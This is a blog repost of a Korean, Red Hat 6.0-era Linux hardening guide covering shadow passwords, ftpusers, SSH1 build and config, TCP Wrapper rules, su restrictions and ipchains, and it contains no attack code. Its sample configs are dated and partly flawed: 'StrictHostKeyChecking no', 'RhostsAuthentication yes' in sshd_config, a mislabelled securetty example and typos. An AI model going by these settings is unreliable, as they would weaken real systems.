-o 옵션은 ftpd(8)에 의해 파일이 전송되면 xferlog(5)에 로그를 남긴다. 다음은 옵션 조정인데, 이것은 파일 관리와 관계가 있다. 첫 번째는 /etc/passwd 파일을 안전하게 하는 것이다. 우선 시스템이 /etc/shadow를 사용하는지 확인한다. 이것은 모든 사용자의 패스워드를 root만이 접근 할수 있는 파일에 해쉬형태로 안전하게 저장한다는 것을 의미한다. 또한 해커들이 제일 먼저 노리는 패스워드가 손쉽게 접근되고 크랙되는 것을 방지한다. 쉐도우 패스워드 파일을 사용하는 것이 레드햇 6.0의 디폴트이지만 확인을 해야 한다. 다음 명령어를 실행하면 자동으로 패스워드 파일을 /etc/shadow 파일로 변환해 준다. pwconv 이것이 시스템을 안전하게 하는 주요한 조치들중의 하나라고 여겨진다. 두 번째는 /etc/passwd 파일에서 대부분의 디폴트 시스템 계정들을 제거하는 것이다. 리눅스는 이런 계정들을 불필요할지도 모르는 시스템 작업을 위해 제공한다. 필요하지 않다면 제거해야 한다. 계정을 많이 가지면 가질수록 침입될 가능성은 높아진다. “news” 계정이 그 한예이다. 뉴스그룹 서버로 사용하기 위해 nntp를 서비스하는 경우가 아니면 이 계정은 불필요하다. 익명 ftp 접속에 사용되는 “ftp”계정도 삭제해야 한다. ftpd 인증은 다음의 규칙에 따른다. /etc/passwd 파일에 ftp 계정이 있어 익명 ftp 접속이 허용되어 있고 사용자 ID가 ‘anonymous’나 ‘ftp’이면 이 경우 어떤 패스워드라도 로그인이 허용된다. 관례상 접속자의 host명을 패스워드로 사용하기도 한다. ▶/etc/passwd 파일의 시스탬 계정 예 root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
mail:x:8:12:mail:/var/spool/mail:
uucp:x:10:14:uucp:/var/spool/uucp:
nobody:x:99:99:Nobody:/: /etc/ftpusers 파일도 수정해야 한다. Top ▶/etc/ftpusers 파일의 예 root
bin
daemon
adm
lp
mail
uucp
nobody 이파일에 기록된 계정은 ftp를 사용해서 이 시스템에 접속할수 없다. 이것은 root, bin과 같은 공통의 시스템 계정을 사용해 ftp로 연결하는 것을 제한한다. 리눅스는 디폴트로 이파일을 가지고 있다. root 권한으로 이 시스템에 ftp를 통해 접속하는 것을 막으려면 이 파일에 root가 포함되어 있는지 확인한다. ftp 접속시 사용할 계정은 이 파일에 포함되면 안된다. 또 root로는 시스템에 telnet 접속을 못하도록 한다. 자기의 계정으로 접속한뒤 su를 사용해 root로 전환하도록 한다. /etc/securetty 파일에 어떤 가상의 터미널이 root로 접속할수 있는지 설정한다. tty1, tty2와 같은 것만 이 파일에 리스트되도록 한다. 이것은 root로 접근하는 것이 로컬 접속일때만 가능하도록 제한하는 것이다. ttyp1, ttyp2는 원격에서 root가 시스템에 접근하는 것을 허용하는 임의의 터미널이다. /etc/securetty 파일의 예 #
#
# WARNING : You must have specific authorization to acess
# this machine. Unauthorzed users will be logged.
# monitered, and then shot in sight!
# 이 법적 경고문은 어떤 사용자가 로그인을 시도할때마다 보여지게 된다. 디폴트로 리눅스는 부팅될 때마다 새로운 /etc/issue 파일을 생성하기 때문에 똑 같은 내용의 /etc/issue 파일을 계속 사용하려면 /etc/rc.d/init.d/S99local 파일을 수정한다. Top 6) 서버 접속 원격지에서 서버를 관리하려면 안전하고 통제가 가능한 접속 방법을 찾는 것이 중요하다. 가끔 원격지에서 서버를 관리하기 위해 또는 파일을 업로드하기 위해 서버에 접속할 필요가있는데 이 통신은 안전해야 한다. 여기서는 ssh와 TCP Wrapper 두가지에 대해서만 설명할 것이다. (1) SSH 사용자와 시스템과의 모든 통신을 암호화하는 ssh를 권장한다. TCP Wrapper는 스니핑으로부터 네트워크 트래픽을 보호하지 못하며 패스워드를 포함한 키 스트로크를 캡쳐할수 있다. 이 시스템으로의 통신을 캡쳐하는 것을 우려한다면 telnet/ftp를 ssh로 대체하라. ssh는 서버로의 모든 통신을 암호화하여 안전하게 원격관리와 파일 업로드를 할수 있게한다. ssh는 고유의 로깅 레이어를 가지고 있으며, 서버로 접속할수 있는 대상을 제한할수 있다는 점에서 TCP Wrapper와 유사하다. 보다 많은 정보는 다음을 참조하기 바란다. http://www.ssh.org/download.html ssh 2.x는 라이센스가 있으므로 버전 1.2.x를 권장한다. ssh의 또 다른 버전은 Openssh이 있고 참조 사이트는 다음과 같다. http://www.openssh.org/ 이다. Ÿ 권고 사항 ssh을 인스톨하기전에 시스템상의 파일 리스트를 만들고, 이후에 무슨 파일이 어디에 위치되어 있는지 알기위해 ‘diff’ 명령어를 사용해서 인스톨전 파일 리스트와 이후 파일 리스트를 비교한다. 인스톨이전 파일 리스트는 다음 명령행으로 만들어진다. find / * > ssh1 인스톨이후 파일 리스트는 다음 명령행으로 만들어진다. find / * > ssh2 리스트 비교는 다음 명령행으로 실행된다. diff ssh1 ssh2 > ssh : 바뀌어진 파일 리스트를 얻는다. Ÿ 컴파일 및 설치 ① SSH 홈페이지에서 압축 파일 다운로드 http:// www.ssh.fi/ ssh-1.2.27.tar.gz 다운로드 ② 압축 해제 [root/]#cp ssh-1.2.27.tar.gz /var/tmp
[root/]#cd /var/tmp
[root/tmp]#tar xzpf ssh-1.2.27.tar.gz Top ③ 컴파일 및 최적화 새로 생성된 ssh 디렉토리로 가서 다음 명령어들을 타이핑한다. CC="egcs"＼
CFLAGS="-09-funroll-loops-ffast-math-malign-double-mcpu=pentinmpro-
march=pentiumpro-fomit-frame-pointer-fno-exceptions"＼
./configure＼
--prefix=/usr＼
--without-idea＼
--with-etcdir=/etc/ssh＼
--enable-warnings＼
--without-rsh＼
--with-libwrap＼
--disable-server-port-forwardings＼
--disable-client-port-forwardings＼
--disable-server-x11-forwardings＼
--disable-client-x11-forwardings＼
--disable-suid-ssh |
이것은 특정 하드웨어에 setup시키기 위해 SSH1 그자체로 setup 시키는 것으로 다음은 필드별 설명이다. - 상업적 이용에서 특허문제를 피하기 위해서이다.
- gcc/egcs를 사용한다면 the-Wall(warning) 옵션을 enable 해야한다.
- 어떠한 조건하에서도 rsh를 사용하지 말아라.
- libwrap(tcp_wrappers) 지원으로 컴파일해라.
- X11은 제외하고 서버내 모든 포트 포워딩은 disable 해라.
- X11은 제외하고 클라이언트내 모든 포트 포워딩은 disable 해라.
- 서버내 X11 포워딩은 disable 해라.
- 클라이언트내 X11 포워딩은 disable 해라.
- suid bit 없이 ssh 인스톨해라. |
다음은 불필요한 파일들을 지우는 작업이다. [root/ssh-1.2.27]#make clean : 어떠한 실수라도 피하기 위해 이전 모든 컴파일 trace를 지운다. [root/ssh-1.2.27]#make : 모든 소스 파일들을 실행가능한 바이너리 파일들로 컴파일한다. [root/ssh-1.2.27]#make install : 적합한 위치에 바이너리 파일들과 지원 파일들을 인스톨한다. [root/]#cd /var/tmp [root/tmp]#rm -rf ssh-1.2.27/ssh-1.2.27.tar.gz : 컴파일과 인스톨에 사용된 소스 파일들을 제거한다. 또한 tmp 디렉토리내 압축 파일도 지운다. Top ④ 구성화일 설정 우선 서버 구성 파일 압축화일을 다운로드한다. http://pages.infinit.net/lotus1/opendocs/floppy.tgz 그리고 적당한 디렉토리에 복사한다. 즉, sshd_conf 파일을 “/etc/ssh/”디렉토리에 복사한다. Ÿ ssh_config 파일 편집 (vi /etc/ssh/ssh_config) 구성화일은 클라이언트 프로그램의 운영을 수정하기 위해 옵션을 셋팅해야 한다. 파일은 라인별로 키워드와 값, 한쌍을 포함하고 있는데, 여기서는 중요 키워드에 대해서만 셋하고 완전한 키워드 리스트는 파일내 man 페이지를 참조하기를 바란다. 다른 다양한 옵션은 디폴트로 두고 필요하다면 수정, 추가한다. Host * ForwardAgent no
ForwardX11 no
RhostsAuthentication no
RhostsRSAAuthentication no
RSAAuthentication yes
TISAuthentication no
PasswordAuthentication yes
FallBackToRsh no
UseRsh no
BatchMode no
Compression yes
StrictHostKeyChecking no
IdentityFile ~/.ssh/identity
Port22
KeepAlive yes
Cipher blowfish
EscapeChar ~ Top Ÿ sshd_config 파일 편집 (vi /etc/ssh/sshd_config) 데몬의 운영을 수정한다. 파일은 라인별로 키워드와 값, 한쌍을 포함하고 있는데, 여기서는 중요 키워드에 대해서만 셋하고 완전한 키워드 리스트는 파일내 man 페이지를 참조하기를 바란다. 다른 다양한 옵션은 디폴트로 두고 필요하다면 수정, 추가한다. Port 22 ListenAddress 211.252.150.1 --> 네트워크 인터페이스의 IP 주소(예는 ‘ns.certcc.or.kr’) HostKey /etc/ssh/ssh_host_key
RandomSeed /etc/ssh/ssh_random_seed
ServerKeyBits 1024
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin no
IgnoreRhosts yes
StrictModes yes
QuietMode no
X11Forwarding no
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication yes
RSAAauthentication yes
PasswordAuthentication yes
PermitEmptyPasswords no
AllowUsers admin AllowHosts 172.16.2.123 --> 호스트 IP 주소 (예는 가상 주소임) Top (2) TCP Wrapper TCP Wrapper 는 암호화는 지원하지 않지만 로그와 서버로의 접근을 제한한다. TCP Wrapper는 telnet 또는 ftp와 같은 inetd 서비스를 둘러싸는 실행화일이다. TCP Wrapper를 실행시키면 시스템은 inetd 커넥션들에 대한 wrapper를 실행하고 모든 접속 시도를 기록하고 접속 제어 리스트에 위배되는 접속 시도가 있는지 감시한다. 만일 접속이 허용되면 TCP Wrapper는 그 커넥션을 telnet 과 같은 적절한 실행화일로 넘겨준다. 접속 제어 리스트에 의해 접속이 거절되면 그 커넥션은 drop된다. 다행히도 TCP Wrapper가 이미 설치되었다면 /etc/hosts.allow 파일과 /etc/hosts.deny파일을 수정하기만 하면 된다. 이 파일들은 서버에 접속을 허용하지 않을 대상을 결정한다. TCP Wrapper는 베너, spawn, safe_finger 과 같은 부가적인 프로그램을 제공한다. 사용법은 비교적 간단하다. /etc/hosts.allow 파일에 접속을 허용할 IP나 네트워크를 기록한다. /etc/hosts.deny 파일에 접속을 금지할 IP나 네트워크를 기록한다. 디폴트로 리눅스는 모두에게 접속을 허용하므로 이 파일을 수정할 필요가 있다. TCP Wrapper를 사용할 때의 2가지 권고 사항이다. Ÿ 권고사항 1. 시스템 이름이나 도메인 이름을 사용하지말고 IP 주소를 사용한다. 2. /etc/hosts.deny을 deny ALL로 설정한 후 접속을 허용할 주소만 /etc/hosts.allow 파일에 기록한다. Ÿ allow 파일과 deny 파일 설정 예 문법 Service:Source (IP 주소, 네트워크 또는 이름):<option>:ALLOW 또는 DENY /etc/hosts.allow 예 in.telnetd:192.168.1.0/255.255.255.0:banners/etc/bannerfile:ALLOW in.ftpd:192.168.1.30:ALLOW imap:ALL:spawn(/usr/local/bin/ids.sh %d %h %H %u) /etc/hosts.deny 예 ALL:ALL DENY Top Ÿ 파일 설정 단계별 명령어 순서 ① hosts.deny 파일을 편집한다.(vi /etc/hosts.deny) 다음 행을 추가한다. Access id denied by default. #Deny access to everyone. ALL:ALL@ALL, PARANOID |
마지막 행은 모든 서비스, 모든 지역을 의미하는 것으로, allow 파일내 엔트리에 의해서 접속이 허용될지라도 명시적으로 허용되지 않은 어떠한 서비스도 block된다. ② hosts.allow 파일을 편집한다. (vi /etc/hosts.allow) 다음 예처럼 행을 추가한다. 명시적으로 승인된 host는 allow 파일에 저장되어있다. sshd:211.252.150.1 ns.certcc.or.kr |
211.252.150.1는 IP 주소이고 ns.certcc.or.kr는 sshd 사용시 허용된 클라이언트중의 한 host 이름이다. ③ tcpd wrapper 구성화일을 검사하는 'tcpdchk' 프로그램을 실행시킨다. 이것은 tcp wrapper 구성화일을 시험해서, 찾을수 있는 모든 잠재적이고 실제적인 문제점들을 보고한다. [root/]#tcpdchk : 구성이 끝난 후에 tcpdchk 프로그램을 실행시킨다. TCP Wrapper와 관련된 보다 상세한 정보는 다음을 참조하기 바란다. http://www.enteract.com/~lspitz/ids.html 7) 계정관리 보안 조치 사항 우선 wheel 그룹을 만든다. wheel 그룹은 /bin/su 와 같은 명령어를 실행시킬수 있는 특별한 권한을 필요로 하는 사용자들로 이루어진 그룹이다. 이런 종류의 명령어를 실행시킬수 있는 사용자들을 제한함으로써 시스템의 보안성을 향상시킬수 있다. 그룹을 생성하기 위해 /etc/group 파일을 vi로 열어 wheel 그룹을 추가하고 시스템 관리자를 wheel 그룹에 추가한다. 그리고 /bin/su 와 같은 시스템 실행 파일을 구별해 group 소유권을 wheel로 바꾸어 소유자와 그룹에 실행권한만을 준다. 특정 파일의 경우 suid와 guid에 대해서도 주의한다. Top /bin/su 파일에 대해 설정할 경우 명령어 에 /bin/chgrp wheel /bin/su /bin/chmod 4750 /bin/su 두 번째는 .rhosts, .netrc, /etc/hosts.eqiv 파일을 잠근다. r 명령들이 시스템에 접근할 때 이파일들을 사용한다. 이파일들을 잠그기 위해서 각 파일에 대해 touch를 실행하고 permission을 0으로 변경한다. 이러면 아무도 이 파일을 만들수도 없고, 수정할수도 없다. 작업 실행 예 : /bin/touch/root/.rhosts/root/.netrc/etc/hosts.eqiv /bin/chmod 0/root/.rhosts/root/.netrc/etc/hosts.eqiv 세 번째는 /etc/shdow가 crypt(3) 함수 대신 MD5 해쉬를 사용토록 설정한다. 이러면 암호화된 패스워드 파일이 해독되기가 보다 어려워진다. 이러한 작업은 PAM 모듈을 수정함으로서 이루어진다. PAM(Pluggable Authentication Modules)은 어떻게 어풀리케이션들의 인증방법을 선택할 수 있게 하는 라이브러리의 집합이다. PAM 모듈에 대해 상세한 정보는 다음을 참조한다. ftp://ftp.us.kernel.org/pub/linux/libs/pam/Linux-PAM-html/pam.html 과거에는 MD5 해쉬를 사용하려면 수동으로 PAM을 수정했으나 레드햇 6.0 이상의 버전에서는 셋업 유틸리티에서 선택하기만 하면 된다. 즉 명령행에서 setup을 실행시키고 “authentication configuration”을 선택한다. 그러면 MD5 해쉬를 선택할수 있다. 그런데 사용자가 자신들의 패스워드를 다시 입력하지 않으면 새로 적용된 MD5 해쉬는 아무런 효과가 없음에 유의하여야 한다. 셋업 유틸리티가 지원되지 않는 버전의 사용자는 다음을 참조하여 수동으로 설정할수 있다. http://www.enteract.com/~lspitz/lx_example.html#G bash 사용자들은 .bash_history 파일을 내켜하지 않는데 이는 내가 사용한 명령어들을 다른사람들이 알게되기 때문이다. 그래서 .bash_profile에 다음을 추가한다. Top HISTFILESIZE=0 이러면 .bash_history 파일에 아무런 기록이 남지 않는다. 이렇게 해도 HISTSIZE라는 환경변수가 있기에 키스트로크에 대한 히스토리 관리는 유지된다. 단지 .bash_history 파일에 저장되지 않을 뿐이다. 마지막으로 할수 있는 것은 물리적인 접근으로부터 시스템을 보호하는 것이다. 이것은 주로 BIOS에 대해 패스워드를 설정하는 작업으로 구성된다. /etc/lilo.conf 파일에 password=xxx 와 같이 패스워드를 설정함으로써 부팅프로세스가 진행되는 동안 시스템을 보호할수 있다. 싱글 유저모드로 부팅할 때 패스워드를 물어보게 되며 lilo.conf 파일 수정후에 ‘lilo -v’를 실행해야 수정된 사항이 적용된다. 일단 물리적으로 시스템에 접속하게 되면 시스템을 보호할 방법은 없다는 것을 명심해야 한다. 8) IPChain 보안 공개 도구 IPChain은 커널 2.2.x 이상에서 지원하는 패킷필터링 S/W이다. 레드햇 6.0 이상을 사용하면 리눅스 설치 킷에 포함되어있다. IPChain은 시스코 라우터의 ACL과 비슷하고 리눅스가 설치된 서버를 통과하는 패킷을 제어할수 있다. 기본적으로 방화벽처럼 사용될수 도 있으며, 스탠드 얼론으로 사용되는 리눅스 서버에서도 보안을 강화하기 위해 사용될수 있다. 스텐드 얼론 시스템을 안전하게 하기 위해서, 이 시스템에서 시작된 TCP 연결만을 허용하도록 설정한다. 다른 곳에서 어떤 TCP 연결을 시도해도 거부된다. 그러나 UDP나 ICMP 연결은 허용한다. 또한 모든 거절된 커넥션을 로깅한다. Broadcast, Multicast 트래픽의 경우, 양이 너무 많기에 ‘거부’하지만 로깅하지는 않는다. Top 간단한 IPChain 설정 예(Standalone 경우) : bash# ipchains -L
Chain input (policy DENY):
target prot opt source destination ports
DENY all ------ 0.0.0.0 anywhere n/a
DENY all ------ anywhere 255.255.255.255 n/a
DENY all ------ anywhere BASE-ADDRESS.MCAST.NET/8 n/a
ACCEPT tcp !y---- anywhere anywhere any -> any
ACCEPT udp ----l- anywhere anywhere any -> any
ACCEPT icmp ----l- anywhere anywhere any -> any
DENY all ----l- anywhere anywhere n/a
Chain forward (policy ACCEPT):
Chain output (policy ACCEPT): 참고 사이트 http://www.enteract.com/~lspitz/lx_example.html#H http://metalab.unc.edu/pub/Linux/docs/HOWTO/IPCHAIN-HOWTO 3. 결론 레드햇 리눅스를 기반으로 리눅스 시스템을 안전하게 하기 위한 기본적인 조치사항들을 살펴 보았다. 중요한 것은 최소한의 소프트웨어를 설치하고 SSH나 TCP Wrapper, IPChain, Shdow password 와 같은 보안 조치 사항들을 설정하는 것이다. tripwire, swatch 같은 추가적인 도구도 있다. 자동으로 새로운 리눅스 시스템을 단계적으로 안전하게 해주는 펄 스크립트인 Bastille linux(http://www.bastille-linux.org/)도 권고한다. 100% 안전한 시스템은 없지만 여기서 기술된 것만 적용해도 리눅스 시스템의 안전성은 상당히 높아 질 것이다. 시스템의 안전한 보호를 위해서는 지속적으로 보안 사항들을 살펴보아야 한다. 또한 CERT 홈페이지(http://www.certcc.or.kr)를 위시한 보안 전문 컨설팅 사이트와 시스템 벤더 사이트를 정기적으로 방문하여 보안 권고 사항들에 대해서 주의깊게 살펴보며, 새로운 취약성이 발견되면 그에 따른 패치설치 및 보안 권고에 충실히 따르도록 해야 한다.
Posted by tornado
|
